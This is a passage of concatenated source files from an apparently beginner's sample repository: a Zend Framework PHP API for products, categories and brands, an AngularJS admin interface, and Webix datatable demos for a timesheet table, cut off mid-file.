<repo_name>Sunil2011/samples<file_sep>/public/app/js/modules/admin/controllers/productController.js /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ define(['./../module'], function (module) { module.registerController('productController', [ '$scope', '$state', '$stateParams', 'productDataService','CONFIG', function ( $scope, $state, $stateParams , productDataService , CONFIG) { var vm = this; vm.ImagePath = CONFIG.ImageBasePath ; productDataService.getProductList() .then(function(response) { // console.log(response.success); if(response.success) { console.log("products:",response.products); vm.products = response.products; } else { console.log('success:false'); } }); $scope.addEditProduct = function(productId){ var product_id = productId || ''; // if productId !== 0 then product_id = productId else empty // console.log(product_id) ; $state.go('app.productAddEdit', {product_id : product_id}); }; $scope.deleteProduct = function () { var product_id = vm.id || ''; if (!product_id) { alert('Please select the product !'); return; } var r = confirm("Are you sure, want to delete ?"); if (r === true) { productDataService.deleteProduct({id: product_id}) .then(function (response) { if (response.success) { $state.reload(); } else { alert('some error occur while deleting.. '); } }); } }; }]); }); <file_sep>/module/Api/Module.php <?php namespace Api ; use Zend\ModuleManager\Feature\AutoloaderProviderInterface; //use Zend\ModuleManager\Feature\ConfigProviderInterface; //use Api\Model\Product; use Api\Model\ProductTable; use Api\Model\CategoryTable; use Api\Model\BrandTable; use Zend\Db\ResultSet\ResultSet; use Zend\Db\TableGateway\TableGateway; //use Zend\Authentication\Storage; use Zend\Authentication\AuthenticationService; use Zend\Authentication\Adapter\DbTable as DbTableAuthAdapter; class Module implements AutoloaderProviderInterface { public function getAutoloaderConfig(){ return array( 'Zend\Loader\ClassMapAutoloader' => array( __DIR__ . '/autoload_classmap.php', ), 'Zend\Loader\StandardAutoloader' => array( 'namespaces' => array( __NAMESPACE__ => __DIR__ . '/src/' . __NAMESPACE__, ), ), ); } public function getConfig(){ return include __DIR__ . '/config/module.config.php'; } public function getServiceConfig(){ return array( 'factories' => array( 'Api\Model\ProductTable' => function($sm) { $tableGateway = $sm->get('ProductTableGateway'); $table = new ProductTable($tableGateway); return $table; }, 'ProductTableGateway' => function ($sm) { $dbAdapter = $sm->get('Zend\Db\Adapter\Adapter'); $resultSetPrototype = new ResultSet(); // $resultSetPrototype->setArrayObjectPrototype(new Products()); return new TableGateway('products', $dbAdapter, null, $resultSetPrototype); // here products is db table name }, 'Api\Model\CategoryTable' => function($sm) { $tableGateway = $sm->get('CategoryTableGateway'); $table = new CategoryTable($tableGateway); return $table; }, 'CategoryTableGateway' => function ($sm) { $dbAdapter = $sm->get('Zend\Db\Adapter\Adapter'); $resultSetPrototype = new ResultSet(); return new TableGateway('categories', $dbAdapter, null, $resultSetPrototype); // here categories is db table name }, 'Api\Model\BrandTable' => function($sm) { $tableGateway = $sm->get('BrandTableGateway'); $table = new BrandTable($tableGateway); return $table; }, 'BrandTableGateway' => function ($sm) { $dbAdapter = $sm->get('Zend\Db\Adapter\Adapter'); $resultSetPrototype = new ResultSet(); return new TableGateway('brand', $dbAdapter, null, $resultSetPrototype); // here brand is db table name }, 'AuthService' => function($sm) { $dbAdapter = $sm->get('Zend\Db\Adapter\Adapter'); $dbTableAuthAdapter = new DbTableAuthAdapter($dbAdapter, 'account','username','password'); $authService = new AuthenticationService(); $authService->setAdapter($dbTableAuthAdapter); return $authService; } , ) ); } } <file_sep>/public/app/js/modules/admin/controllers/productAddEditController.js /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ define(['./../module'], function (module) { module.registerController('productAddEditController', [ '$scope', '$state', 'productDataService', '$stateParams','CONFIG', 'brandDataService','categoryDataService', function ( $scope, $state, productDataService, $stateParams , CONFIG, brandDataService,categoryDataService ) { var vm = this; vm.ImagePath = CONFIG.ImageBasePath ; vm.product = {}; vm.product.id = $stateParams.product_id || ''; if(vm.product.id) { productDataService.getProductDetails(vm.product.id) .then(function (response) { if (response.success) { vm.product = response.product; } else { alert(response.message); } }); } vm.cancel = function () { $state.go('app.admin'); }; // valid argumnet is for form validation vm.submitProduct = function (valid ) { if(valid == false ){ console.log('product-name can not be empty '); // $state.reload() ; return ; } var data = { 'id': vm.product.id , 'name': vm.product.name, 'brand' : vm.product.brand , 'category' : vm.product.category , } if($scope.file != undefined) { data.file = $scope.file; } console.log('product-submit :-',data); productDataService.addEditProduct(data) .then(function (response) { if (response.success) { $state.go('app.admin'); } else { alert(response.message); } }); }; // getting category list on scope for drop-down categoryDataService.getCategoryList() .then(function(response){ if(response.success){ vm.categories = response.categories ; }else{ console.log('failed to load category list'); } }); // getting brand list on scope for drop-down brandDataService.getBrandList() .then(function(response){ if(response.success){ vm.brands = response.brands ; }else{ console.log('failed to load brand list'); } }); }]); }); <file_sep>/module/Api/src/Api/Model/ProductTable.php <?php namespace Api\Model; use Zend\Db\TableGateway\TableGateway; use Zend\Db\Sql\Where ; class ProductTable { protected $tableGateway; public function __construct(TableGateway $tableGateway) { $this->tableGateway = $tableGateway; } public function fetchAll() { $where = new Where() ; $where->notEqualTo('flag', '-1'); $resultSet = $this->tableGateway->select($where); return $resultSet; } public function getProduct($id) { // var_dump($this->tableGateway); $rowset = $this->tableGateway->select(array('id' => $id)); $row = $rowset->current(); if (!$row) { throw new \Exception("Could not find row $id"); } // changing row key name thumb to image $row['image'] = $row['thumb']; unset($row['thumb']); // var_dump($row); exit; return $row; } public function saveProduct($prd) { if ( !isset($prd['id']) ) { $this->tableGateway->insert($prd); $id = $this->tableGateway->getLastInsertValue() ; } else { $dbData = $this->getProduct($prd['id']) ; if ($dbData) { $id = $prd['id'] ; $this->tableGateway->update($prd, array('id' => $id )); } else { throw new \Exception('Product id does not exist'); } } $data = $this->getProduct($id); return $data ; } public function deleteProduct($id) { //var_dump($id); try { $this->tableGateway->update(array('flag' => '-1'), array('id' => $id)); return true ; } catch (Exception $ex) { return false ; } } } <file_sep>/module/Api/src/Api/Controller/CategoryController.php <?php namespace Api\Controller; use Zend\Mvc\Controller\AbstractRestfulController; //use Zend\View\Model\ViewModel; use Zend\View\Model\JsonModel; class CategoryController extends AbstractRestfulController { protected $categoryTable; public function getCategoryTable() { if (!$this->categoryTable) { $sm = $this->getServiceLocator(); $this->categoryTable = $sm->get('Api\Model\CategoryTable'); } return $this->categoryTable; } /** * @SWG\Get( * path="/api/category", * description="get all categories", * tags={"category"}, * * @SWG\Response( * response=200, * description="response" * ) * ) */ public function getList() { $res = $this->getCategoryTable()->fetchAll(); $a_res = array(); foreach ($res as $r) { $a_res['id'] = $r->id; $a_res['name'] = $r->name; $a_res['image'] = $r->thumb; $a_res['created_at'] = $r->created_at ; $a_res['updated_at'] = $r->updated_at ; $a[] = $a_res; // creating multi. dim. array by adding all } return new JsonModel(array( 'success' => true, 'categories' => $a, )); } /** * @SWG\Get( * path="/api/category/{id}", * description="category details", * tags={"category"}, * @SWG\Parameter( * name="id", * in="path", * description="category id", * required=true, * type="integer" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function get($id) { $catId = $id ; if ($catId) { try { $catId = $this->getCategoryTable()->getCategory($catId); } catch (\Exception $ex) { return new JsonModel(array( 'success' => false, 'msg' => 'data with given id is not present in db !' )); } return new JsonModel(array( 'success' => true, 'category' => $catId )); } else { return new JsonModel(array( 'success' => false, 'msg' => 'there is no data with id 0 !' )); } } /** * @SWG\Post( * path="/api/category", * description="create category", * tags={"category"}, * @SWG\Parameter( * name="file", * in="formData", * description="image upload", * required=false, * type="file" * ), * @SWG\Parameter( * name="id", * in="formData", * description="categoty id required for update ", * required=false, * type="integer" * ), * @SWG\Parameter( * name="name", * in="formData", * description="category name", * required=true, * type="string" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function create() { $parameter = $this->getParameter($this->params()->fromPost()); $image = ''; $File = $this->params()->fromFiles('file'); //var_dump($parameter,13, $File); exit; // if category id is not there then add else update if (!isset($parameter['id'])) { if ($File) { $image = $this->upload(); } date_default_timezone_set("Asia/Kolkata"); $data = array( 'name' => $parameter['name'], 'thumb' => $image, "created_at" => date('Y-m-d H:i:s'), 'flag' => '0' ); $Dt = $this->getCategoryTable()->saveCategory($data); return new JsonModel(array( 'success' => true, 'category' => $Dt )); } else { // product id is there so update if ($File) { $image = $this->upload(); $data = array( 'id' => $parameter['id'], 'name' => $parameter['name'], 'thumb' => $image, ); } else { $data = array( 'id' => $parameter['id'], 'name' => $parameter['name'], ); } $Dt = $this->getCategoryTable()->saveCategory($data); return new JsonModel(array( 'success' => true, 'category' => $Dt )); } } /** * @SWG\Post( * path="/api/category/delete", * description="delete category", * tags={"category"}, * @SWG\Parameter( * name="id", * in="formData", * description="category id", * required=true, * type="integer" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function deleteAction(){ $parameter = $this->getParameter($this->params()->fromPost()); $category_id = $parameter['id'] ; $msg = $this->getCategoryTable()->deleteCategory($category_id); if ($msg) { return new JsonModel(array( 'success' => true, 'msg' => 'deleted successfully ' )); } else { return new JsonModel(array( 'success' => false, 'msg' => 'unable to delete ' )); } } public function getParameter($params) { $parameter = array(); foreach ($params as $key => $value) { if ($value) { $parameter[$key] = $value; } } return $parameter; } public function upload() { $file = $this->params()->fromFiles('file'); /* now not working $adapter = new \Zend\File\Transfer\Adapter\Http(); $adapter->setDestination(PUBLIC_PATH.'/uploads/products'); // var_dump(boolval($adapter->receive($file['name']))); exit ;//false $adapter->receive($file['name']); */ $uploadDir = PUBLIC_PATH.'/uploads/category/' ; $uploadfile = $uploadDir . basename($file['name']); move_uploaded_file($file['tmp_name'], $uploadfile) ; return $file['name'] ; } } <file_sep>/public/app/js/modules/admin/controllers/categoryAddEditModalController.js define(['./../module'], function (module) { module.registerController('categoryAddEditModalController', ['CONFIG', '$uibModalInstance', '$scope', '$state', 'categoryId', 'categoryDataService', function (CONFIG, $uibModalInstance, $scope, $state, categoryId, categoryDataService) { var vm = this; vm.ImagePath = CONFIG.ImageBasePath ; vm.category = {} ; vm.category.id = categoryId || ''; //alert(vm.category.category_id); if(vm.category.id){ categoryDataService.getCategoryDetails(vm.category.id) .then(function(response){ if(response.success){ vm.category = response.category ; }else{ alert(response.message); } }); }; vm.close = function () { $uibModalInstance.close(); }; /* vm.cancel = function () { console.log(123); $state.go("app.category"); }; */ vm.submitCategory = function () { var data = { 'id': vm.category.id, 'name': vm.category.name }; if ($scope.file != undefined) { data.file = $scope.file; } console.log('category-submit:', data); categoryDataService.addEditCategory(data) .then(function (response) { if (response.success) { // console.log('wel') $state.reload(); vm.close(); } else { alert(response.message) ; } }); }; }]); }); <file_sep>/module/Api/src/Api/Controller/BaseApiController.php <?php namespace Api\Controller; use Api\Exception\ApiException; //use Api\Table\AccountTable; use DateTime; use Zend\Mvc\Controller\AbstractRestfulController; use Zend\Session\Container; use Zend\View\Model\JsonModel; // not in use bcz set-up for zfcUser is not completed .... class BaseApiController extends AbstractRestfulController { public function checkUserSession() { if ($this->zfcUserAuthentication()->hasIdentity()) { return (array) $this->zfcUserAuthentication()->getIdentity(); } throw new ApiException('Unauthorized, Please login!', 401); } public function getParameter($params) { $parameter = array(); foreach ($params as $key => $value) { if ($value) { $parameter[$key] = $value; } } return $parameter; } protected function getService($serviceName) { $sm = $this->getServiceLocator(); $service = $sm->get($serviceName); return $service; } protected function parseJSONString($string) { $itemData = json_decode($string, TRUE); if ($itemData === null && json_last_error() !== JSON_ERROR_NONE) { return false; } return $itemData; } public function successRes($msg, $data = array()) { return new JsonModel(array( 'success' => true, 'message' => $msg, 'data' => $data )); } public function errorRes($msg, $error = array(), $code = 500) { $this->getResponse()->setStatusCode($code); return new JsonModel(array( 'error' => array_merge( array( "type" => "Api\\Exception\\ApiException", 'message' => $msg, "code" => $code ), $error ), )); } } <file_sep>/public/app/js/modules/admin/services/productDataService.js define(['./../module'], function (module) { "use strict"; module.registerFactory('productDataService' , ['$http', '$q', '$log', 'CONFIG', function($http, $q, $log, CONFIG){ return { getProductList : getProductList , getProductDetails : getProductDetails , addEditProduct : addEditProduct , deleteProduct : deleteProduct }; function getProductList() { // console.log(CONFIG.ApiBaseUrl); return $http.get(CONFIG.ApiBaseUrl + '/api/products', {params: {} }) .then(function successCallback(response) { // console.log(response.data); var data = response.data; return data; }, function errorCallback(response) { // called asynchronously if an error occurs // or server returns response with an error status. }); } function getProductDetails(productId) { if (productId) { return $http.get(CONFIG.ApiBaseUrl + '/api/products/getSpecificProduct/' + productId, {params: {}}) .then(function successCallback(response) { var data = response.data; return data; }, function errorCallback(response) { // called asynchronously if an error occurs // or server returns response with an error status. }); }else{ alert('productId is null') ; } } function addEditProduct(params) { return $http({ url: CONFIG.ApiBaseUrl + '/api/products/add', method: 'POST', data: params, headers: {'Content-Type': undefined}, transformRequest: function (params, headersGetter) { var formData = new FormData(); angular.forEach(params, function (value, key) { formData.append(key, value); }); var headers = headersGetter(); delete headers['Content-Type']; return formData; }, }).then(function successCallback(response) { var data = response.data; return data; }, function errorCallback(response) { // called asynchronously if an error occurs // or server returns response with an error status. }); } function deleteProduct(params) { return $http({ url :CONFIG.ApiBaseUrl + '/api/products/delete' , method : 'POST' , data : $.param(params), headers: {'Content-Type': 'application/x-www-form-urlencoded'} }) .then(function successCallback(response) { var data = response.data; return data; }, function errorCallback(response) { // called asynchronously if an error occurs // or server returns response with an error status. }); } }]); }); <file_sep>/module/Api/src/Api/Controller/AuthenticationXController.php <?php namespace Api\Controller; use Zend\Mvc\Controller\AbstractActionController; use Zend\View\Model\JsonModel; //use Api\Form\LoginForm ; //use Api\Model\Login ; class AuthenticationControllerX extends AbstractActionController { // protected $form; // protected $authservice; public function getAuthService() { if (! $this->authservice) { $this->authservice = $this->getServiceLocator() ->get('AuthService'); } return $this->authservice; } public function getForm() { if (! $this->form) { $this->form = new LoginForm() ; } return $this->form; } /** * @SWG\Post( * path="/api/authent/login", * description="login details", * tags={"authentication"}, * @SWG\Parameter( * name="username", * in="formData", * description="username", * required=true, * type="string" * ), * @SWG\Parameter( * name="password", * in="formData", * description="<PASSWORD>", * required=true, * type="string" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function loginAction() { var_dump("welcome !");exit; $form = $this->getForm(); $request = $this->getRequest(); if ($request->isPost()){ $data = $this->params()->fromPost(); //var_dump($data,'123'); exit; $log = new Login(); $form->setInputFilter($log->getInputFilter()); // $form->setData($request->getPost()); $form->setData($data); if ( $form->isValid() ){ //check authentication... // set identity and credentials using login form, $this->getAuthService()->getAdapter() ->setIdentity($data['username']) ->setCredential($data['password']); $result = $this->getAuthService()->authenticate(); $authMsg = array(); foreach($result->getMessages() as $message) { $authMsg[] = $message ; } if ($result->isValid()) { return new JsonModel(array( 'msg' => 'authenticated', 'authMsg' => '' )) ; }else{ return new JsonModel(array( 'authMsg' => $authMsg )); } } } return new JsonModel(array( 'success' => false , 'msg' => 'no post data for authentication ..' )); } public function logoutAction() { $this->getAuthService()->clearIdentity(); return new JsonModel(array( 'success' => true , 'msg' => "You've been log out " )) ; } /** * @SWG\Get( * path="/api/authent", * description="index", * tags={"authentication"}, * * @SWG\Response( * response=200, * description="response" * ) * ) */ public function indexAction() { return new JsonModel(array( 'success' => false , 'msg' => "please check the api you are using " )) ; } } <file_sep>/public/appWebixWidgets/table2.js dtable = new webix.ui({ // container: "testB", view: "datatable", select: "row", css:"my_style",// css class will be applied to the whole table columns: [ {id: "date", header: "Date", width: 100, editor:"text", sort: "string" }, // implement column css {id: "employee", header: "Employee", fillspace: true, sort: "string", css:{"color":"blue"}}, {id: "project", header: "Project", width: 100, sort: "string"}, {id: "task", header: "Task", fillspace: true, sort: "string"}, {id: "activity", header: "Activity", fillspace: true, sort: "string"}, {id: "hour", header: "Hour", width: 100, sort: "int"}, {id: "weekno", header: "Week no.", width: 100, sort: "int"}, {id: "createdon", header: "Created on", width: 100, sort: "string"}, {id: "updatedon", header: "Updated on", width: 100, sort: "string"} ], data: [ {id: 1, date: "2016-10-04", employee : "<NAME>", project : "CKD", task : "Api-changes", activity : "Developer-Coding", hour : 5, weekno : 40,createdon : "2016-10-04",updatedon: "2016-10-04" }, {id: 2, date: "2016-10-05", employee : "Chandu", project : "Non-project", task : "placement-test", activity : "Other", hour : 6, weekno : 40,createdon : "2016-10-05",updatedon: "2016-10-05" }, {id: 3, date: "2016-10-05", employee : "Sunil", project : "Non-project", task : "JS-framework(webix)", activity : "Developer-Coding", hour : 6, weekno : 40,createdon : "2016-10-05",updatedon: "2016-10-05" }, {id: 4, date: "2016-10-05", employee : "Prashant", project : "Maintainance", task : "UX- design", activity : "Design", hour : 6.5, weekno : 40,createdon : "2016-10-05",updatedon: "2016-10-05" }, {id: 5, date: "2016-10-05", employee : "<NAME>", project : "CKD", task : "Api-changes", activity : "Developer-Coding", hour : 5, weekno : 40,createdon : "2016-10-05",updatedon: "2016-10-05" } ] }); function textLength(a, b) { a = a.title.toString().length; b = b.title.toString().length; return a > b ? 1 : (a < b ? -1 : 0); }; <file_sep>/public/appWebixWidgets/table5c.js var self = this; self.submitData = function () { var values = $$("addf").getValues(); // console.log(values); var last_id = 0; if (!values.employee) { alert("Employee fied can't be empty !"); return; } webix.ajax().post("dbDataAddUpdate.php", values, { // error will be executed if http response-code > 400 or any http error error: function (text, data) { webix.message({ type: "error", text: "ther is some error ", expire: 4000 }); return; }, success: function (text, data) { console.log(data.json()); var resp = data.json(); last_id = resp.id; // global aceess if (resp.success) { var fdata = resp.insData[0]; // console.log(11,fdata); $$('myTbl').add(fdata, 0); $$('aWin').close(); $$('mybar').enable(); // enabling mybar after submitting the form $$('pagerA').enable(); // enabling pagination submitting the form } else { webix.message({ type: "error", text: resp.msg, expire: 4000 }); } } }); }; self.addData = function () { $$("mybar").disable(); // disable mybar when add-window is open $$("pagerA").disable(); // disable pagination submitting the form webix.ui({ view: "window", id: "aWin", height: 550, width: 1100, left: 100, top: 50, head: { view: "toolbar", cols: [ {view: "label", label: "New entry", css: "text_heading"}, {view: "button", label: 'X', width: 100, align: 'right', click: "$$('aWin').close(); $$('mybar').enable(); $$('pagerA').enable(); ", css: "button_primary button_raised " } ] } , body: { view: "form", id: "addf", elements: [ {view: "datepicker", label: "Date", editor:"text", format: "%Y-%m-%d", name: "date"}, {view: "select", label: "Employee", editor:"select", options:["Test","<NAME>", "Sunil","Chandu","Prashant","Test1","Test2"],name: "employee"}, {view: "select", label: "Project", editor:"select", options:["Test","CKD","Tigersheet","HCL PS","HCL FS","Non-project","captivatour","Self-project","maintenance","Unlisted"], name: "project"}, {view: "text", label: "Task", editor:"text", name: "task"}, {view: "text", label: "Activity", editor:"text", name: "activity"}, {view: "text", label: "Hours", editor:"text", name: "hr"}, {margin: 10, cols: [ {}, {view: "button", label: "Save", type: "form", width: 100, algin: "right", on: { 'onItemClick': self.submitData } }, {view: "button", label: "Cancel", width: 100, algin: "right", click: "$$('aWin').close(); $$('mybar').enable(); $$('pagerA').enable();"} ]}, {} ] } }).show(); }; self.updateData = function () { var values = $$("editf").getValues(); webix.ajax().post("dbDataAddUpdate.php", values, { // error will be executed if http response-code > 400 or any http error error: function (test, data) { webix.message({ type: "error", text: "ther is some error ", expire: 4000 }); return; }, success: function (text, data) { var resp = data.json(); console.log(resp); if (resp.success) { var udata = resp.insData[0]; // console.log(12, udata); // update only table row directly .. instead of realoding the complete tabl var sel = $$('myTbl').getSelectedId(); $$('myTbl').updateItem(sel.row, udata); $$('eWin').close(); $$('mybar').enable(); // enabling mybar after submitting the form $$('pagerA').enable(); // enabling pagination submitting the form } else { webix.message({ type: "error", text: resp.msg, expire: 4000 }); } } }); }; self.editData = function () { var sel = $$('myTbl').getSelectedId(); // console.log(sel); if (!sel) { webix.message({ type: "error", text : "please select a row !", expire : 2000 }); return; } $$("mybar").disable(); // disable mybar when edit-window is open $$("pagerA").disable(); // disable pagination when edit-window is open webix.ui({ view: "window", id: "eWin", height: 550, width: 1100, left: 100, top: 50, head: { view: "toolbar", cols: [ {view: "label", label: "Update", css: "text_heading"}, {view: "button", label: 'X', width: 100, align: 'right', click: "$$('eWin').close(); $$('mybar').enable(); $$('pagerA').enable();", css: "button_primary button_raised " } ] } , body: { view: "form", id : "editf", elements : [ {view:"text", label:"Id", name:"id", placeholder: "readonly data",readonly:true }, {view: "datepicker", format: "%Y-%m-%d",label: "Date", name: "date"}, {view: "select", label: "Employee", editor:"select", options:["Test","<NAME>", "Sunil","Chandu","Prashant","Test1","Test2"], name: "employee"}, {view: "select", label: "Project", editor:"select", options:["Test","CKD","Tigersheet","HCL PS","HCL FS","Non-project","captivatour","Self-project","maintenance","Unlisted"], name: "project"}, {view: "text", label: "Task", name: "task"}, {view: "text", label: "Activity", name: "activity"}, {view: "text", label: "Hours", name: "hr"}, {margin: 10, cols: [ {}, {view: "button", label: "Update", type: "form", width: 100, algin: "right", on: { 'onItemClick': self.updateData } }, {view: "button", label: "Cancel", width: 100, algin: "right", click: "$$('eWin').close(); $$('mybar').enable(); $$('pagerA').enable();"} ]}, {} ] } }).show(); // console.log($$('myTbl').getSelectedId()); $$("editf").bind("myTbl"); // binding selected rowdata to form }; dtable = new webix.ui({ rows: [ { view: "toolbar", // height: 70, css: "right_align", id: "mybar", elements : [ {view: "button", value: "Add", id: "add", width: 70 , css: "button_primary button_raised ", on : { 'onItemClick': self.addData } }, {view: "button", value: "Edit", id: "edit", width: 70 , css: "button_primary button_raised ", on : { 'onItemClick': self.editData } } ] }, { cols: [ { width: 250, minWidth: 100, maxWidth: 350, // template:"col 1" rows: [ { view: "template", type: "header", css: {"text-align": "center", "color": "coral", "background-color": "#112233"}, template: "<h3> Sidebar !! </h3>" }, { height: 50, view: "template", css: {"background-color": "#112233", "color": "white"}, template: "navbar-1 " }, { height: 50, view: "template", css: {"background-color": "#112233", "color": "white"}, template: "navbar-2 " }, { // height : 50, view: "template", css: {"background-color": "#112233", "color": "white"}, template: "navbar-3 " } ] }, {view: "resizer"}, { rows: [ { view: "template", type: "header", css: {"text-align": "center", "color": "coral"}, template: "<h3> Webix-Table !! </h3>" }, { view: "datatable", select: "row", multiselect: true, id : "myTbl", css: "my_style", // css class will be applied to the whole table height: 400 , columns: [ {id:"chk", header:"Checkbox", template:"{common.checkbox()}", editor:"checkbox", adjust:true }, {id:"id",header:"#", sort: "int", adjust:true}, {id: "date", header: "Date", width: 120, editor: "text", sort: "string"}, {id: "employee", header: "Employee", width:150, sort: "string"}, {id: "project", header: "Project", adjust:true, sort: "string"}, {id: "task", header: "Task", adjust:true, sort: "string"}, {id: "activity", header: "Activity", adjust:true, sort: "string"}, {id: "hr", header: "Hour", width: 100, sort: "int"}, {id: "week_no", header: "Week no.", width: 100, sort: "int"}, {id: "created_at", header: "Created on", adjust:true, sort: "string"}, {id: "updated_at", header: "Updated on", adjust:true, sort: "string"} ], on: { onCheck: function (id, col, status) { if(status){ $$('myTbl').select(id); //console.log('selected'); } else{ $$('myTbl').unselect(id); //console.log('un-selected'); } }, onItemClick: function (id) { this.getItem(id.row).chk = !this.getItem(id).chk; this.refresh(id.row); // refersh the row with id .. // id is obj showing selected column name and id of row && id.row is id of selected row // console.log(id.row, id); } }, resizeColumn:true, resizeRow:true, pager:"pagerA", checkboxRefresh:true, // data : webix.ajax().get("dbData.php") url : "dbData.php" }, { view:"pager", id:"pagerA", //animate:true, size:8, group:5 }, { } ] } ] } ] }); <file_sep>/module/Api/src/Api/Exception/ApiException.php <?php namespace Api\Exception; /** * Description of ApiException * */ class ApiException extends \Exception { } <file_sep>/public/app/js/modules/posts/module.js define(['angular', 'angular-couch-potato', 'angular-bootstrap', 'angular-ui-router'], function (ng, couchPotato) { "use strict"; // console.log('posts/module.js'); var module = ng.module('app.posts', ['ui.router', 'ui.bootstrap']); couchPotato.configureApp(module); module.config(['$stateProvider', '$couchPotatoProvider', '$urlRouterProvider', function ($stateProvider, $couchPotatoProvider, $urlRouterProvider) { $stateProvider .state('app.posts', { url: '/posts', templateUrl: './js/modules/posts/page-posts.html' }) .state('app.posts.list', { // Posts list state. This state is child of posts state url: '/list', templateUrl: './js/modules/posts/page-posts-list.html', controller: ['$scope', function ($scope) { $scope.posts = [ {id: 1, name: "WCG Post 1"}, {id: 2, name: "WCG Post 2"}, {id: 3, name: "WCG Post 3"}, {id: 4, name: "WCG Post 4"}, {id: 5, name: "WCG Post 5"}, ] }] }) .state('app.posts.info', { // Posts info state. This state is child of posts state url: '/info', template: 'Posts information. We are using directly a string template instead of a url linking to a template.' }); // $urlRouterProvider.otherwise('/posts'); }]); module.run(function ($couchPotato) { module.lazy = $couchPotato; }); // console.log("layout", module); return module; }); <file_sep>/public/app/js/modules/admin/controllers/brandController.js /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ define(['./../module'], function (module) { module.registerController('brandController', ['$scope', '$state', '$stateParams', 'brandDataService', 'CONFIG', '$uibModal', function ($scope, $state, $stateParams, brandDataService, CONFIG, $uibModal) { var vm = this; vm.ImagePath = CONFIG.ImageBasePath; brandDataService.getBrandList() .then(function (response) { // console.log(response.success); if (response.success) { console.log('brands:',response.brands); vm.brands = response.brands; } else { console.log('success:false'); } }); $scope.addEditBrand = function (brand_id ) { var brand_Id = brand_id || 0 ; //console.log(brand_Id); var modalInstance = $uibModal.open({ animation: $scope.animationsEnabled, templateUrl: './js/modules/admin/views/brand-add-edit-modal.html', controller: 'brandAddEditModalController', controllerAs: 'brandAddEdit', size: 'lg', backdrop: 'static', resolve: { brandId: function () { return brand_Id; } } }); modalInstance.result.finally(function () { $state.reload(); }); }; $scope.deleteBrand = function () { var brand_id = vm.id || ''; // getting this value from ng-modal for radio -buttton if (!brand_id) { alert('Please select the brand !'); return; } var r = confirm("Are you sure, want to delete ?"); if (r === true) { brandDataService.deleteBrand({id: brand_id}) .then(function (response) { if (response.success) { $state.reload(); } else { alert('some error occur while deleting.. '); } }); } }; }]); }); <file_sep>/module/Api/src/Api/Model/Product.php <?php namespace Api\Model; // Add these import statements use Zend\InputFilter\InputFilter; use Zend\InputFilter\InputFilterAwareInterface; use Zend\InputFilter\InputFilterInterface; // not needed in this project class Product implements InputFilterAwareInterface { public $id; public $name; public $category; public $brand ; public $thumb ; protected $inputFilter; // <-- Add this variable public function exchangeArray($data) { $this->id = (isset($data['id'])) ? $data['id'] : null; $this->name = (isset($data['name'])) ? $data['name'] : null; $this->category = (isset($data['category'])) ? $data['category'] : null; $this->category = (isset($data['brand'])) ? $data['brand'] : null; $this->category = (isset($data['thumb'])) ? $data['thumb'] : null; } public function getArrayCopy() { return get_object_vars($this); } // Add content to these methods: public function setInputFilter(InputFilterInterface $inputFilter) { throw new \Exception("Not used"); } public function getInputFilter() { if (!$this->inputFilter) { $inputFilter = new InputFilter(); $this->inputFilter = $inputFilter; } return $this->inputFilter; } } <file_sep>/module/Api/src/Api/Model/CategoryTable.php <?php namespace Api\Model; use Zend\Db\TableGateway\TableGateway; use Zend\Db\Sql\Where ; class CategoryTable { protected $tableGateway; public function __construct(TableGateway $tableGateway) { $this->tableGateway = $tableGateway; } public function fetchAll() { $where = new Where() ; $where->notEqualTo('flag', '-1'); $resultSet = $this->tableGateway->select($where); return $resultSet; } public function getCategory($id) { // var_dump($this->tableGateway); $rowset = $this->tableGateway->select(array('id' => $id)); $row = $rowset->current(); if (!$row) { throw new \Exception("Could not find row $id"); } // changing row key name thumb to image $row['image'] = $row['thumb']; unset($row['thumb']); return $row; } public function saveCategory($cat) { if ( !isset($cat['id']) ) { $this->tableGateway->insert($cat); $id = $this->tableGateway->getLastInsertValue() ; } else { $dbData = $this->getCategory($cat['id']) ; if ($dbData) { $id = $cat['id'] ; $this->tableGateway->update($cat, array('id' => $id )); } else { throw new \Exception('Category id does not exist'); } } $data = $this->getCategory($id); return $data ; } public function deleteCategory($id) { //var_dump($id); try { $this->tableGateway->update(array('flag' => '-1'), array('id' => $id)); return true ; } catch (Exception $ex) { return false ; } } } <file_sep>/public/app/js/app.js 'use strict'; define([ 'angular', 'angular-couch-potato', 'angular-ui-router', 'angular-bootstrap', 'jquery.ui.widget' ], function (angular, couchPotato) { console.log("app js loaded"); var app = angular.module('app', [ 'scs.couch-potato', 'ui.router', 'ui.bootstrap', 'app.constants', //modules name 'app.authors', 'app.posts', 'app.admin', 'app.layout' ]); app.controller("BaseController", ['$filter', '$rootScope', '$scope', '$state', '$timeout', 'CONFIG', function ($filter, $rootScope, $scope, $state, $timeout, CONFIG) { var vm = this; $scope.headerView = "./js/modules/layout/views/header.html"; $scope.sidebarView = "./js/modules/layout/views/sidebar.html"; $scope.imageBasePath = CONFIG.ImageBasePath; $scope.focusedForm = true; $scope.layoutLoading = false; $scope.sidebarCollapsed = false; // layout methods $scope.refresh = function () { console.log('refresh') ; $state.reload(); }; /* $scope.toggleLeftBar = function () { console.log('toggle') ; $scope.sidebarCollapsed = !$scope.sidebarCollapsed; }; */ }]); return app; }) ; <file_sep>/module/Api/src/Api/Controller/ProductController.php <?php namespace Api\Controller; //use Api\Model\Product; // <-- Add this import //use Product\Form\ProductForm; // <-- not required //use Zend\View\Model\ViewModel; use Zend\Mvc\Controller\AbstractActionController; use Zend\View\Model\JsonModel; class ProductController extends AbstractActionController { protected $productTable; public function getProductTable() { if (!$this->productTable) { $sm = $this->getServiceLocator(); $this->productTable = $sm->get('Api\Model\ProductTable'); } return $this->productTable; } /** * @SWG\Get( * path="/api/products", * description="get all products", * tags={"products"}, * * @SWG\Response( * response=200, * description="response" * ) * ) */ public function indexAction() { $res = $this->getProductTable()->fetchAll(); $a_res = array(); foreach ($res as $r){ $a_res['id'] = $r->id ; $a_res['name'] = $r->name; $a_res['category'] = $r->category; $a_res['brand'] = $r->brand ; $a_res['image'] = $r->thumb ; $a_res['created_at'] = $r->created_at; $a_res['updated_at'] = $r->updated_at ; $a[] = $a_res; // creating multi. dim. array by adding all } return new 